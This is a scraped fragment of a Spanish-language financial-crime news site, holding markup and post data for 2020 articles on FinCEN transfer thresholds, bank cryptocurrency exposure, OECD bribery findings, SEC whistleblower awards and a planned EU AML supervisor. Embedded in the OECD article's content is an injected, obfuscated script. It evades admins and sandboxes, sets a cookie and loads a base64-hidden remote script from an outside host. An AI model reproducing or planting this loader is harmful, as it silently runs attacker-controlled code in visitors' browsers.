propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su 